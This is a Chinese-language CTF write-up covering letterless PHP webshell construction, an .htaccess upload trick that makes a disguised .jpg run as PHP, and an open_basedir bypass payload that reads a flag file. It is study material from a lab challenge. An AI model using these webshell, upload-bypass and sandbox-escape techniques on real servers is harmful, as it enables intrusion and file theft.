考点
无字符webshell构造
文件上传 (.htaccess 绕过后缀检测)
open_basedir/disable_function绕过
前置知识
构造无字母webshell的三种方式
1 |
|
在ctf中,我们一般遇到上面这种正则,不能传入字母和数字,是不是就不能执行webshell了呢,并不是,p神在他的博客中记录了三种方法,分别是异或、取反、自增。
异或
如果我们要构造 phpinfo POST GET system 这类关键字,我们可以通过 两个没有被过滤的字符进行异或得到。
演示
1 | 构造 phpinfo |
生成脚本
python
1 | import urllib.parse |
php
1 | $l = ""; |
取反
与异或类似,不过它利用的是 UTF-8 编码中的某个汉子 , 将其中的某个字符提取出来 , 进行取反后得到对应字符
生成步骤
找到 “
p
“ 对应的 ASCII码,拿到对应的十六进制编码70
在前面添加两个十六进制数 . 这个数是任意的 . 然后将它取反 . 在线
比如这里用
7B
,然后就行取反。将取反后的数字写成 NCR 格式( &#x … ) , 并且将它转换为中文字符 在线
蒏
- 带入代码测试 , 取第二个字符( 第一个字符是你任意添加的 ) , 即可得到需要的字符
示范
构建 phpinfo
进行测试
p h i n f o 对应的 十六进制编码 70 68 69 6e 66 6f
加入 7b
取反
原字符 十六进制 取反 转为字符
p 7b70 848F 蒏
h 7b68 8497 蒗
i 7b69 8496 蒖
n 7b6e 8491 蒑
f 7b66 8499 蒙
o 7b6f 8490 蒐
1 |
|
注意事项:这个写在php文件中能直接运行,通过GET传参就报错
eval()'d code:1 Stack trace:
,经过多次测试,需要进行url编码提交才不会报错。
递增运算得到对应字符
这个就直接上代码,方式不一样,目的一样。
1 | p神案例 // ASSERT($_POST[_]); 这个仅支持 php5 php7 需要更换assert 为其他代码执行函数 |
绕过 open_basedir/disable_function
open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1”都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
payload
1 | chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g')); |
也可以用蚁剑 disable_functions 插件绕过
解题过程
打开
得到一份代码
1 |
|
代码审计
通过审计,getshell可以分为两个步骤,第一步,先绕过条件 if ( preg_match('/[\x00- 0-9A-Za-z\'"\反引号~_&.,|=[\x7F]+/i', $hhh) )
,这个条件通过 异或的方式构造无字母webshell绕过。第二步:需要绕过三个条件,分别是 if(preg_match("/ph/i",$extension))
,后缀不能带有ph。if(mb_strpos(file_get_contents($tmp_name), '<?')!==False)
,文件内容中不能存在 <?。if(!exif_imagetype($tmp_name))
,文件头必须是常见图片类型文件头。绕过方式:通过上传.htaccess
文件,在.htaccess文件中,需要伪造图片头来过第三个条件的检测 ,通常我们会想到GIF89a
来绕过,但是这样会让.htaccess文件不能生效,这时可以通过 在.htaccess 头部添加#define width 1337 #define height 1337
绕过。然后再上传头部带有GIF89a、后缀名为jpg的一句话。
第一步
通过异或构造无字母webshell
1 | // ${_GET}{_}(); |
没有问题,也可以直接执行get_the_flag。
第二步
上脚本
再进行.htaccess 文件内容构建的时候,需要知道文件上传的路径,路径的构建规则,
upload/tmp_".md5($_SERVER['REMOTE_ADDR'])
,得到upload/tmp_532fb014387262fa08e25fd65663cac2
。
这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则
1 | import requests |
执行
getshell
蚁剑连接
但是不能跳转到其他目录,使用蚁剑的disable_functions插件,辅助工具->绕过disable_functions->选择模式->PHP7_GC_UAF 。
手动绕过open_basedir payload
1 | url: http://3cd358ce-4a9b-430d-b949-13b4c50642f0.node4.buuoj.cn:81/upload/tmp_532fb014387262fa08e25fd65663cac2/shell.jpg |
总结
用无字母webshell的方式绕过正则对字母数字的匹配,通过上传.htaccess的方式绕过对正则对后缀的匹配,.htaccess为什么上传这个文件就能让上传的图片当做php文件执行呢?
实际上就是apache的一个配置文件,也就是只有服务器是apache的时候可以这样做,nginx就不行。
而 AddType
这个参数可以为当前目录下的 指定的后缀名添加MIME类型。
刚刚我们设置的 AddType application/x-httpd-php .jpg
就是把.jpg后缀的MIME类型设置为 application/x-httpd-php
,服务器去读取.jpg文件的时候会把它当成php文件读取,所以,里面的一句话就能执行。
学到了不少。